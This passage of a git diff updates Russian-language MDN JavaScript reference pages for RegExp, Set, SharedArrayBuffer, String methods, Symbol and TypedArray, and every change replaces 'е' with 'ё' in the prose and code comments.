сопоставится подстроке «яблоко, апельсин,» в строке «яблоко, апельсин, вишня, персик». Более подробный пример смотрите после этой таблицы.</p> </td> @@ -380,7 +380,7 @@ var re = new RegExp('\\w+'); <p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Сопоставляется с </span></font><em>x</em></code>, только если <code><em>x</em></code> не предшествует <code><em>y</em></code></p> <p>Например, <code>/(?<!-)\d+/</code> сопоставится с цифрой, только если ей не предшествует минус.<br> - <code>/(?<!-)\d+/.exec('3')</code> вернет "3".<br> + <code>/(?<!-)\d+/.exec('3')</code> вернёт "3".<br> <code>/(?<!-)\d+/.exec('-3')</code> не сопоставится с цифрой, тк цифре перед цифрой 3 присутствует минус.</p> </td> </tr> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html index 3d86f2958e..89551d517b 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/lastmatch/index.html @@ -19,7 +19,7 @@ RegExp['$&'] <p>Значение свойства <code>lastMatch</code> доступно только для чтение и изменяется при успешном совпадении с регулярным выражением.</p> -<p>Поскольку использование символа "&" приведет к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(<code>RegExp.$&</code>) нельзя. Вместо этого стоит использовать <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">скобочную нотацию</a> (<code>RegExp['$&']</code>).</p> +<p>Поскольку использование символа "&" приведёт к выбрасыванию ошибки {{jsxref("SyntaxError")}}, обратиться к данному свойству с помощью точечной нотации(<code>RegExp.$&</code>) нельзя. Вместо этого стоит использовать <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">скобочную нотацию</a> (<code>RegExp['$&']</code>).</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html index 4873c56af0..5becd52a06 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/n/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/n/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n --- <div>{{JSRef}} {{non-standard_header}}</div> -<p>Нестандартные свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обернутые в скобки.</p> +<p>Нестандартные свойства <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> являются статическими и доступными только для чтения свойствами регулярных выражений, которые содержат найденные подстроки, обёрнутые в скобки.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -26,7 +26,7 @@ RegExp.$9 <p>Значения этих свойств не доступны для изменения, они модифицируются всякий раз при успешном совпадении регулярного выражения.</p> -<p>Количество возможных подстрок в круглых скобках неограничено, но объект <code>RegExp</code> может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращенного массива.</p> +<p>Количество возможных подстрок в круглых скобках неограничено, но объект <code>RegExp</code> может содержать в себе только последние 9. Вы можете получить доступ ко всем подстрокам, совпавшим с выражениями внутри круглых скобок, с помощью индексов возвращённого массива.</p> <p>Эти свойства могу использоваться при замене текста в методе {{jsxref("String.replace")}}. Когда используете его, не добавляйте их в <code>RegExp</code>. Пример ниже демонстрирует правильное применение. Когда круглые скобки не включены в регулярное выражение, код интерпретирует такие значения, как <code>$n</code> буквально, как литерал (n - положительное число).</p> diff --git a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html index ea9db422df..af771e9feb 100644 --- a/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html +++ b/files/ru/web/javascript/reference/global_objects/regexp/unicode/index.html @@ -53,7 +53,7 @@ console.log(regex.unicode); // true <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, зайдите на https://github.com/mdn/browser-compat-data и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, зайдите на https://github.com/mdn/browser-compat-data и отправьте нам pull request.</div> <p>{{Compat("javascript.builtins.RegExp.unicode")}}</p> </div> diff --git a/files/ru/web/javascript/reference/global_objects/set/delete/index.html b/files/ru/web/javascript/reference/global_objects/set/delete/index.html index e2ecf26cfd..e6987bffe3 100644 --- a/files/ru/web/javascript/reference/global_objects/set/delete/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/delete/index.html @@ -26,7 +26,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p><code>true</code>, если элемент был успешно удален из объекта <code>Set</code>, иначе <code>false</code>.</p> +<p><code>true</code>, если элемент был успешно удалён из объекта <code>Set</code>, иначе <code>false</code>.</p> <h2 id="Примеры">Примеры</h2> @@ -35,15 +35,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/delete <pre class="brush: js">var mySet = new Set(); mySet.add('foo'); -mySet.delete('bar'); // Вернет false. Отсутствует элемент "bar" для удаления. -mySet.delete('foo'); // Вернет true. Успешно удален. +mySet.delete('bar'); // Вернёт false. Отсутствует элемент "bar" для удаления. +mySet.delete('foo'); // Вернёт true. Успешно удалён. -mySet.has('foo'); // Вернет false. Элемент "foo" больше не присутствует. +mySet.has('foo'); // Вернёт false. Элемент "foo" больше не присутствует. </pre> <p>Давайте проверим как удалить Object из Set.</p> -<pre class="brush: js">var setObj = new Set(); // Создаем новый Set. +<pre class="brush: js">var setObj = new Set(); // Создаём новый Set. setObj.add({x: 10, y: 20}); // Добавляем объект в набор. diff --git a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html index 5ed212666b..643c1f4b3f 100644 --- a/files/ru/web/javascript/reference/global_objects/set/foreach/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/foreach/index.html @@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/forEach <h3 id="Содержимое_объекта_Set">Содержимое объекта <code>Set</code> </h3> -<p>Приведенный код показывает состояние каждого элемента в объекте <code>Set</code>:</p> +<p>Приведённый код показывает состояние каждого элемента в объекте <code>Set</code>:</p> <pre class="brush:js">function logSetElements(value1, value2, set) { console.log('s[' + value1 + '] = ' + value2); diff --git a/files/ru/web/javascript/reference/global_objects/set/set/index.html b/files/ru/web/javascript/reference/global_objects/set/set/index.html index 66e1d0108e..5dabdcbd5d 100644 --- a/files/ru/web/javascript/reference/global_objects/set/set/index.html +++ b/files/ru/web/javascript/reference/global_objects/set/set/index.html @@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Set/Set <dl> <dt><code><var>iterable</var></code> {{optional_inline}}</dt> <dd> - <p>Если передается <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">итеративный объект</a>, все его элементы будут добавлены в новый Set.</p> + <p>Если передаётся <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/for...of">итеративный объект</a>, все его элементы будут добавлены в новый Set.</p> <p>Если вы не укажете этот параметр или его значение равно нулю, новый набор будет пустым.</p> </dd> diff --git a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html index d625a5a809..ecd0cb98a9 100644 --- a/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html +++ b/files/ru/web/javascript/reference/global_objects/sharedarraybuffer/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer --- <div>{{JSRef}}</div> -<p>Объект <strong><code>SharedArrayBuffer</code></strong> используется для создания разделенного буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделенную память. В отличие от <code>ArrayBuffer</code>, <code>SharedArrayBuffer</code> не может быть отсоединен.</p> +<p>Объект <strong><code>SharedArrayBuffer</code></strong> используется для создания разделённого буфера фиксированной длины для хранения примитивных бинарных данных, подобно объекту {{jsxref("ArrayBuffer")}}, но могут быть использованы для создания обзора на разделённую память. В отличие от <code>ArrayBuffer</code>, <code>SharedArrayBuffer</code> не может быть отсоединен.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -29,15 +29,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer <p>Для разделения памяти с помощью объекта {{jsxref("SharedArrayBuffer")}} между одним агентом в кластере и другим (агент может быть как основной программой web-страницы, так и одним из web-workers), используются <code><a href="/en-US/docs/Web/API/Worker/postMessage">postMessage</a></code> и <a href="/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured cloning</a>.</p> -<p>Алгоритм структурированного клонирования принимает <code>SharedArrayBuffers</code> и <code>TypedArrays,</code> отображенный в <code>SharedArrayBuffers</code>. В обоих случаях, объект <code>SharedArrayBuffer</code> передается получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта <code>SharedArrayBuffer, </code>это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.</p> +<p>Алгоритм структурированного клонирования принимает <code>SharedArrayBuffers</code> и <code>TypedArrays,</code> отображённый в <code>SharedArrayBuffers</code>. В обоих случаях, объект <code>SharedArrayBuffer</code> передаётся получателю, результируя в новый, приватный объект SharedArrayBuffer внутри агента-получателя (так же как для {{jsxref("ArrayBuffer")}}). Однако, блок общих данных, на который ссылаются оба объекта <code>SharedArrayBuffer, </code>это один и тот же блок данных, и сторонние эффекты в блоке в одном из агентов в итоге станут заметны в другом агенте.</p> <pre class="brush: js">var sab = new SharedArrayBuffer(1024); worker.postMessage(sab); </pre> -<h3 id="Обновление_и_синхронизация_разделенной_памяти_с_помощью_Атомарных_операций">Обновление и синхронизация разделенной памяти с помощью Атомарных операций</h3> +<h3 id="Обновление_и_синхронизация_разделённой_памяти_с_помощью_Атомарных_операций">Обновление и синхронизация разделённой памяти с помощью Атомарных операций</h3> -<p>Разделенная память может быть создана и изменена одновременно в workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .</p> +<p>Разделённая память может быть создана и изменена одновременно в workers или основном потоке. В зависимости от системы (ЦПУ, ОС, браузер) может уйти время пока изменения будут распространены по всем контекстам. Для синхронизации необходимы {{jsxref("Атомарные", "атомарные", "", 1)}} операции .</p> <h3 id="API_принимающие_объекты_SharedArrayBuffer">API, принимающие объекты <code>SharedArrayBuffer</code></h3> @@ -61,7 +61,7 @@ worker.postMessage(sab); <dl> <dt><code>SharedArrayBuffer.length</code></dt> - <dd>Длина конструктора <code>SharedArrayBuffer,</code> чье значение равно 1.</dd> + <dd>Длина конструктора <code>SharedArrayBuffer,</code> чьё значение равно 1.</dd> <dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt> <dd>Позволяет дополнительные свойства для всех объектов <code>SharedArrayBuffer</code>.</dd> </dl> diff --git a/files/ru/web/javascript/reference/global_objects/string/match/index.html b/files/ru/web/javascript/reference/global_objects/string/match/index.html index 2819776d46..e857555cc6 100644 --- a/files/ru/web/javascript/reference/global_objects/string/match/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/match/index.html @@ -70,7 +70,7 @@ console.log(found); // '.1' - это последнее значение, сопоставленное с группой `(\.\d)`. // Свойство 'index' содержит значение (0) индекса совпадения // относительно начала сопоставления -// Свойство 'input' содержит значение введенной строки.</pre> +// Свойство 'input' содержит значение введённой строки.</pre> <h3 id="Example_Using_global_and_ignore_case_flags_with_match" name="Example:_Using_global_and_ignore_case_flags_with_match">Пример: использование флагов глобальности и игнорирования регистра с методом <code>match()</code></h3> diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html index 6c8defbc17..1b698ae6cc 100644 --- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html @@ -72,7 +72,7 @@ Array.from(matches, m => m[0]); <h3 id="Улучшенный_доступ_к_группам_захвата">Улучшенный доступ к группам захвата</h3> -<p>Еще одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p> +<p>Ещё одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p> <pre class="brush: js notranslate">var regexp = /t(e)(st(\d?))/g; var str = 'test1test2'; diff --git a/files/ru/web/javascript/reference/global_objects/string/padend/index.html b/files/ru/web/javascript/reference/global_objects/string/padend/index.html index a380c3f50d..45c72b87e2 100644 --- a/files/ru/web/javascript/reference/global_objects/string/padend/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/padend/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd --- <div>{{JSRef}}{{SeeCompatTable}}</div> -<p>Метод <strong><code>padEnd()</code></strong> дополняет текущую строку с помощью заданной строки (в конечном счете повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.</p> +<p>Метод <strong><code>padEnd()</code></strong> дополняет текущую строку с помощью заданной строки (в конечном счёте повторяя), так чтобы результирующая строка достигла заданной длины. Дополнение применяется в конце (справа) текущей строки.</p> <h2 id="Синтаксис">Синтаксис</h2> @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd <dt><code>targetLength</code></dt> <dd>Длина результирующей строки, после того как текущая строка была дополнена. Если этот параметр меньше длины текущей строки, то будет возвращена текущая строка , как она есть.</dd> <dt><code>padString</code> {{optional_inline}}</dt> - <dd>Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться ее левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.</dd> + <dd>Строка для дополнения текущей строки с. Если эта строка слишком длинная, она будет урезана и будет применяться её левая большая часть. " " (U+0020) - значение по умолчанию для этого параметра.</dd> </dl> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd <h2 id="Характеристики">Характеристики</h2> -<p>Этот метод еще не достиг стандарта ECMAScript. Сейчас он в состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p> +<p>Этот метод ещё не достиг стандарта ECMAScript. Сейчас он в состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html index 8ccf95507f..432f977fc5 100644 --- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <p><span class="seoSummary">Метод <strong><code>replaceAll()</code></strong> возвращает новую строку со всеми совпадениями <code>pattern</code> , который меняется на <code>replacement</code>. </span><code>pattern</code> может быть строкой или регулярным выражением, и <code>replacement</code> может быть строкой или функция возвращающая каждое совпадение.</p> -<p>Исходная строка остается без изменений.</p> +<p>Исходная строка остаётся без изменений.</p> <div>{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}</div> @@ -19,14 +19,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll </pre> <div class="blockIndicator note"> -<p>Когда вы используете `<var>regexp</var>` вы должны установить флаг глобального поиска ("g"), иначе вернется ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p> +<p>Когда вы используете `<var>regexp</var>` вы должны установить флаг глобального поиска ("g"), иначе вернётся ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p> </div> <h3 id="Parameters">Parameters</h3> <dl> <dt><code><var>regexp</var></code> (pattern)</dt> - <dd>Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на <code><var>newSubstr</var></code> или значении возвращенное указанной функцией <code><var>function</var></code>. A RegExp без глобального флага поиска ("g") вернет ошибку <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd> + <dd>Регулярное выражение или буква с глобальным флагом поиска ("g"). Совпадения меняются на <code><var>newSubstr</var></code> или значении возвращённое указанной функцией <code><var>function</var></code>. A RegExp без глобального флага поиска ("g") вернёт ошибку <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd> <dt><code><var>substr</var></code></dt> <dd>Подстрока, которая заменится <code><var>newSubstr</var></code>. Обрабатывается как буквенная строка, не интерпретируется как регулярное выражение.</dd> <dt><code><var>newSubstr</var></code> (replacement)</dt> @@ -45,7 +45,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <h3 id="Указание_строки_в_качестве_параметра">Указание строки в качестве параметра</h3> -<p>Замененная строка может включатся в следующие специальные шаблоны:</p> +<p>Заменённая строка может включатся в следующие специальные шаблоны:</p> <table class="standard-table"> <thead> @@ -82,7 +82,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll <p>Вы можете передать функцию вторым параметром. Этом случае, функция вызывается после нахождения совпадений. Результат функции может быть использована как замещающая строка. (<strong>Внимание:</strong> Выше упомянутые специальные шаблоны замены в данном случае неприменимы.)</p> -<p>Функция может быть вызвана многократно для каждого замененного совпадения, если регулярное выражение указано с глобальным флагом("g").</p> +<p>Функция может быть вызвана многократно для каждого заменённого совпадения, если регулярное выражение указано с глобальным флагом("g").</p> <p>Функция имеет следующие аргументы:</p> diff --git a/files/ru/web/javascript/reference/global_objects/string/slice/index.html b/files/ru/web/javascript/reference/global_objects/string/slice/index.html index 5b6f3895c4..021c1839ae 100644 --- a/files/ru/web/javascript/reference/global_objects/string/slice/index.html +++ b/files/ru/web/javascript/reference/global_objects/string/slice/index.html @@ -35,7 +35,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/slice <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Новая строка, содержащая извлеченную часть строки.</p> +<p>Новая строка, содержащая извлечённую часть строки.</p> <h2 id="Description" name="Description">Описание</h2> @@ -75,15 +75,15 @@ str.slice(0, -1); // вернёт 'Приближается утро' <p>В этом примере начальным индексом считается <code>11</code>-й символ с конца строки, а конечным - <code>16</code>-й с начала.</p> -<pre class="brush: js notranslate">str.slice(-11, 16); // вернет 'ается утр'</pre> +<pre class="brush: js notranslate">str.slice(-11, 16); // вернёт 'ается утр'</pre> <p>Здесь начальным индексом считается <code>6</code>-й символ от начала строки, а конечным - <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">7</span></font>-й с конца.</p> -<pre class="brush: js notranslate">str.slice(6, -7); // вернет 'жаетс'</pre> +<pre class="brush: js notranslate">str.slice(6, -7); // вернёт 'жаетс'</pre> <p>В этом примере оба индекса считаются с конца строки: <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">5</span></font>-й для начального индекса, <code>1</code>-й для конечного.</p> -<pre class="brush: js notranslate">str.slice(-5, -1); // вернет 'утро'</pre> +<pre class="brush: js notranslate">str.slice(-5, -1); // вернёт 'утро'</pre> <h2 id="Specifications" name="Specifications">Спецификации</h2> diff --git a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html index 5b4a6ee85c..87d85f23ce 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/for/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/for/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for --- <div>{{JSRef}}</div> -<p>Метод <code><strong>Symbol.for(key)</strong></code> ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создается новый разделяемый символ для данного ключа в глобальном реестре символов.</p> +<p>Метод <code><strong>Symbol.for(key)</strong></code> ищет ранее созданный разделяемый символ по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый разделяемый символ для данного ключа в глобальном реестре символов.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/javascript/reference/global_objects/symbol/index.html b/files/ru/web/javascript/reference/global_objects/symbol/index.html index 739474189c..71361cc695 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/index.html @@ -35,7 +35,7 @@ var sym2 = Symbol("foo"); var sym3 = Symbol("foo"); </pre> -<p>Код выше создает три новых символа. Заметьте, что <code>Symbol("foo")</code> не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создает каждый раз новый символ:</p> +<p>Код выше создаёт три новых символа. Заметьте, что <code>Symbol("foo")</code> не выполняет приведение (англ. coercion) строки "foo" к символу. Это выражение создаёт каждый раз новый символ:</p> <pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre> @@ -55,7 +55,7 @@ typeof symObj; // "object" <h3 id="Разделяемые_символы_в_глобальном_символьном_реестре">Разделяемые символы в глобальном символьном реестре</h3> -<p>Приведенный выше синтаксис, использующий функцию <code>Symbol(),</code> не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.</p> +<p>Приведённый выше синтаксис, использующий функцию <code>Symbol(),</code> не создаст глобальный символ, который был бы доступен в любом месте вашего кода. Для создания символов, доступных во всех файлах и в окружении (глобальной области), используйте методы {{jsxref("Symbol.for()")}} и {{jsxref("Symbol.keyFor()")}}, чтобы задать или получить символ из глобального символьного реестра.</p> <h3 id="Поиск_символьных_свойств_у_объектов">Поиск символьных свойств у объектов</h3> @@ -97,9 +97,9 @@ typeof symObj; // "object" <dt>{{jsxref("Symbol.hasInstance")}}</dt> <dd>Метод, определяющий, распознает ли конструктор некоторый объект как свой экземпляр. Используется оператором {{jsxref("Operators/instanceof", "instanceof")}}.</dd> <dt>{{jsxref("Symbol.isConcatSpreadable")}}</dt> - <dd>Булево значение, показывающее, должен ли объект быть сведен к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.</dd> + <dd>Булево значение, показывающее, должен ли объект быть сведён к плоскому представлению (англ. flatten) в виде массива его элементов функцией {{jsxref("Array.prototype.concat()")}}.</dd> <dt>{{jsxref("Symbol.unscopables")}}</dt> - <dd>Массив строковых имен свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).</dd> + <dd>Массив строковых имён свойств. Позволяет скрыть свойства от инструкции with (прежде всего для обратной совместимости).</dd> <dt>{{jsxref("Symbol.species")}}</dt> <dd>Метод, определяющий конструктор для порождённых объектов.</dd> <dt>{{jsxref("Symbol.toPrimitive")}}</dt> @@ -112,7 +112,7 @@ typeof symObj; // "object" <dl> <dt>{{jsxref("Symbol.for()", "Symbol.for(key)")}}</dt> - <dd>Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создается новый символ для данного ключа в глобальном реестре символов.</dd> + <dd>Ищет существующие символы по заданному ключу и возвращает его, если он найден. В противном случае создаётся новый символ для данного ключа в глобальном реестре символов.</dd> <dt>{{jsxref("Symbol.keyFor", "Symbol.keyFor(sym)")}}</dt> <dd>Получает по разделяемому символу его ключ из глобального реестра символов.</dd> </dl> @@ -153,7 +153,7 @@ typeof Symbol.iterator === 'symbol' <h3 id="Символы_и_конструкция_for...in">Символы и конструкция <code>for...in</code></h3> -<p>Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернет символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.</p> +<p>Символы не перечисляются при итерации {{jsxref("Statements/for...in","for...in")}}. В дополнение к этому, {{jsxref("Object.getOwnPropertyNames()")}} не вернёт символьные свойства объекта. Тем не менее, их можно получить с помощью {{jsxref("Object.getOwnPropertySymbols()")}}.</p> <pre class="brush: js">var obj = {}; @@ -175,7 +175,7 @@ for (var i in obj) { <p>Подробности см. {{jsxref("JSON.stringify()")}}.</p> -<h3 id="Объекты-обёртки_для_Symbol_в_качестве_имен_свойств">Объекты-обёртки для Symbol в качестве имен свойств</h3> +<h3 id="Объекты-обёртки_для_Symbol_в_качестве_имён_свойств">Объекты-обёртки для Symbol в качестве имён свойств</h3> <p>Когда объект-обёртка символа используется в качестве имени свойства, этот объект сводится к символу, который он оборачивает:</p> diff --git a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html index ac35c69346..1252063034 100644 --- a/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html +++ b/files/ru/web/javascript/reference/global_objects/symbol/toprimitive/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive <h2 id="Описание">Описание</h2> -<p>С помощью свойства <strong><code>Symbol.toPrimitive</code></strong><code> </code>(которое описывается как функция), объект может быть приведен к примитивному типу. Функция вызывается со строковым аргументом <code><strong>hint</strong></code>, который передает желаемый тип примитива. Значением аргумента <code><strong>hint</strong></code> может быть одно из следующих значений <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, и <code>"<em>default</em>"</code>.</p> +<p>С помощью свойства <strong><code>Symbol.toPrimitive</code></strong><code> </code>(которое описывается как функция), объект может быть приведён к примитивному типу. Функция вызывается со строковым аргументом <code><strong>hint</strong></code>, который передаёт желаемый тип примитива. Значением аргумента <code><strong>hint</strong></code> может быть одно из следующих значений <code>"<em>number</em>"</code>, <code>"<em>string</em>"</code>, и <code>"<em>default</em>"</code>.</p> <h2 id="Примеры">Примеры</h2> diff --git a/files/ru/web/javascript/reference/global_objects/typedarray/index.html b/files/ru/web/javascript/reference/global_objects/typedarray/index.html index 17bd236f34..3db99bf074 100644 --- a/files/ru/web/javascript/reference/global_objects/typedarray/index.html +++ b/files/ru/web/javascript/reference/global_objects/typedarray/index.html @@ -35,7 +35,7 @@ Int8Array(), Uint8Array(), Uint8ClampedArray(), Int16Array(), Uint16Array(), Int <dt>object</dt> <dd>Новый массив создаётся так, как если бы была вызвана функция <code><em>TypedArray</em>.from()</code></dd> <dt>buffer, byteOffset, length</dt> - <dd>Когда происходит вызов с параметрами <strong><code>buffer</code> </strong>и опциональными параметрами <strong><code>byteOffset </code></strong>и<code> </code><strong><code>length</code></strong>, то будет создан новый типизированный массив, который будет отражать <code>buffer </code>типа {{jsxref("ArrayBuffer")}}. Параметры <code>byteOffset</code> и <code>length</code> определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (<code>byteOffset</code> и <code>length</code>) опущены, то будет использован весь буфер <code>buffer</code>; если опущен только <code>length</code>, то будет выведен весь остаток буфера после смещения начала отсчета элементов, заданного параметром <code>byteOffset</code>.</dd> + <dd>Когда происходит вызов с параметрами <strong><code>buffer</code> </strong>и опциональными параметрами <strong><code>byteOffset </code></strong>и<code> </code><strong><code>length</code></strong>, то будет создан новый типизированный массив, который будет отражать <code>buffer </code>типа {{jsxref("ArrayBuffer")}}. Параметры <code>byteOffset</code> и <code>length</code> определяют диапазон (размер) памяти, выводимый данным массивоподобным представлением. Если оба этих параметра (<code>byteOffset</code> и <code>length</code>) опущены, то будет использован весь буфер <code>buffer</code>; если опущен только <code>length</code>, то будет выведен весь остаток буфера после смещения начала отсчёта элементов, заданного параметром <code>byteOffset</code>.</dd> </dl> <h2 id="Описание"><a id="Description" name="Description">Описание</a></h2> @@ -218,7 +218,7 @@ for (var k in typedArrayTypes) <tr> <td>{{SpecName('Typed Array')}}</td> <td>{{Spec2('Typed Array')}}</td> - <td>Определяет работу <code>TypedArray</code> и <code>ArrayBufferView</code>. Заменен в ECMAScript 6.</td> + <td>Определяет работу <code>TypedArray</code> и <code>ArrayBufferView</code>. Заменён в ECMAScript 6.</td> </tr> <tr> <td>{{SpecName('ES6', '#sec-typedarray-objects', 'TypedArray Objects')}}</td> diff --git a/files/ru/web/javascript/reference/global_objects/unescape/index.html b/files/ru/web/javascript/reference/global_objects/unescape/index.html index b0052bf0dc..0aecf842d0 100644 --- a/files/ru/web/javascript/reference/global_objects/unescape/index.html +++ b/files/ru/web/javascript/reference/global_objects/unescape/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/unescape <h2 id="Summary" name="Summary">Описание</h2> -<p>Устаревший метод <code><strong>unescape(str)</strong></code> создает новую строку в которой шестнадцатеричная последовательность символов вида %xx заменяется эквивалентами из кодировки ASCII. Знаки, закодированные в формате %uxxxx (знаки Юникода), заменяются знаками Юникода в шестнадцатеричной кодировке xxxx.</p> +<p>Устаревший метод <code><strong>unescape(str)</strong></code> создаёт новую строку в 